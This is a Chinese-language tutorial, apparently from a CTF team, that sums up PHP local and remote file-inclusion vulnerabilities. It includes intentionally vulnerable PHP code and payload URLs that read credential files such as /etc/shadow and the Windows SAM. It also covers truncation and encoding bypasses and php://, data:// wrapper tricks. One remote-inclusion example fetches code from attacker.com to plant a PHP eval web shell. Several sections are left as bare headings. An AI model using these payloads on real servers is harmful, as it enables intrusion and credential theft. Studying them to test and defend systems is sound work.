本篇总结归纳文件包含漏洞
文件包含漏洞
例子_GET['filename']参数开发者没有经过严格的过滤,直接带入了include的函数攻击者可以修改_GET['filename']的值,执行非预期的操作
<?php
$filename = $_GET['filename'];
include($filename);
?>常见的文件包含函数
URL中有path、dir、file、pag、page、archive、p、eng、语言文件等相关关键字眼的时候 可能存在文件包含漏洞
本地文件包含漏洞
测试代码
<?php
$filename = $_GET['filename'];
include($filename);
?>利用方式 可以通过目录遍历漏洞获取到系统信息
http://<IP>/test.php?file=./config.php
http://<IP>/test.php?file=php://filter/read=convert.base64-encode/resource=./config.php一个例子如下

常见的敏感信息有
c:\boot.ini // 查看系统版本
c:\windows\system32\inetsrv\MetaBase.xml // IIS配置文件
c:\windows\repair\sam // 存储Windows系统初次安装的密码
c:\ProgramFiles\mysql\my.ini // MySQL配置
c:\ProgramFiles\mysql\data\mysql\user.MYD // MySQL root密码
c:\windows\php.ini // php 配置信息/etc/passwd // 账户信息
/etc/shadow // 账户密码文件
/usr/local/app/apache2/conf/httpd.conf // Apache2默认配置文件
/usr/local/app/apache2/conf/extra/httpd-vhost.conf // 虚拟网站配置
/usr/local/app/php5/lib/php.ini // PHP相关配置
/etc/httpd/conf/httpd.conf // Apache配置文件
/etc/my.conf // mysql 配置文件phpinfo的信息中有session的存储位置
linux下默认存储在/var/lib/php/session目录下

测试代码
<?php
session_start();
$test=$_GET['test'];
$_SESSION["username"]=$test;
?>test变量的值存入到session中http://www.ctfs-wiki/session.php?test=test 后,会在/var/lib/php/session目录下存储session的值利用方式
http://www.ctfs-wiki/session.php?ctfs=<?php phpinfo();?>后,会在/var/lib/php/session目录下存储session的值
测试代码
<?php
$filename = $_GET['filename'];
include($filename . ".html");
?>假如用户控制$filename的值为../../etc/passwd
那么这段代码相当于include '/home/wwwrun/../../etc/passwd.html',而这个文件显然是不存在
这就需要截断,有以下几种
1、%00截断
用0字节(\x00)将作为字符串结束符
截断$filename变量之后的字符串
例子
http://www.ctfs-wiki.com/FI/FI.php?filename=../../../../../../../boot.ini%00
条件
magic_quotes_gpc = Off2、路径长度截断
除了用%00截断
还可以用长度截断
例子
http://www.ctfs-wiki.com/FI/FI.php?filename=test.txt/./././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././/././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././/././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././/././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././/./././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././
3、点号截断
类似于长度截断 windows下点号需要长于256
例子
http://www.ctfs-wiki.com/FI/FI.php?filename=test.txt.................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................
远程文件包含漏洞
条件较为苛刻,PHP的配置选项
测试代码
<?php
$filename = $_GET['filename'];
include($filename);
?>利用方式
构造一个文件http://www.attacker.com/echo.txt
代码如下:
<?php fputs(fopen("shell.php","w"),"<?php eval(\$_POST[test]);?>");?>访问http://www.example.com/index.php?page=http://www.attacker.com/echo.txt
将会在目标网络的index.php所在的目录下生成shell.php,内容为:
<?php eval($_POST[test]);?>
https://download.csdn.net/download/qq_57147160/85322836
然后就可以通过这个木马得到shell
这可以配合文件上传
比如将上面这个echo.txt通过图片马上传到服务器,路径为/uploadfile/xxx.jpg
访问http://www.example.com/index.php?page=./uploadfile/xxx.jpg即可
测试代码:
<?php include($_GET['filename'] . ".html"); ?>同样是多了个后缀 需要绕过
1、问号绕过
例子
http://www.ctfs-wiki.com/FI/WFI.php?filename=http://192.168.91.133/FI/php.txt?
2、#号绕过
http://www.ctfs-wiki.com/FI/WFI.php?filename=http://192.168.91.133/FI/php.txt%23
PHP 带有很多内置 URL 风格的封装协议,可用于类似 fopen()、 copy()、 file_exists() 和 filesize() 的文件系统函数 除了这些封装协议,还能通过 stream_wrapper_register() 来注册自定义的封装协议

PHP 提供了一些杂项输入/输出(IO)流,允许访问 PHP 的输入输出流、标准输入输出和错误描述符, 内存中、磁盘备份的临时文件流以及可以操作其他读取写入文件资源的过滤器
1、php://filter
有一些敏感信息会保存在php文件中,如果我们直接利用文件包含去打开一个php文件,php代码是不会显示在页面上的 这时候我们可以以base64编码的方式读取指定文件的源码
用法
?filename=php://filter/convert.base64-encode/resource=xxx.php
?filename=php://filter/read=convert.base64-encode/resource=xxx.php 2、php://input
在遇到file_get_contents()时可以用php://input绕过
<?php
echo file_get_contents("php://input");
?>

可以用来执行命令

也可以写入木马

通过file协议可以访问本地文件系统,读取到文件的内容

https://download.csdn.net/download/Gjqhs/85586384
数据流封装器,和php://相似都是利用了流的概念 将原本的include的文件流重定向到了用户可控制的输入流中 简单来说就是执行文件的包含方法包含了你的输入流
条件
执行命令
?file=data:text/plain,<?php phpinfo();?>
base64绕过
index.php?file=data:text/plain;base64,PD9waHAgcGhwaW5mbygpOz8%2b
php解压缩包的一个函数 不管后缀是什么,都会当做压缩包来解压
条件
用法

类似phar:// 使用方法和条件有点区别
条件
#编码为%23,接上压缩包内的文件
服务器端常常会对于../等做一些过滤,可以用一些编码来进行绕过
../%2e%2e%2f..%2f%2e%2e/..\%2e%2e%5c..%5c%2e%2e\../%2e%2e%2f..\%2e%2e%5c../..%c0%af
注:Why does Directory traversal attack %C0%AF work?%c0%ae%c0%ae/
注:java中会把%c0%ae解析为\uC0AE,最后转义为ASCCII字符的.(点)
Apache Tomcat Directory Traversal..\..%c1%9cinclude("head.php");对文件包含做了个小结
红客突击队于2019年由队长k龙牵头,联合国内多位顶尖高校研究生成立。其团队从成立至今多次参加国际网络安全竞赛并取得良好成绩,积累了丰富的竞赛经验。团队现有三十多位正式成员及若干预备人员,下属联合分队数支。红客突击队始终秉承先做人后技术的宗旨,旨在打造国际顶尖网络安全团队。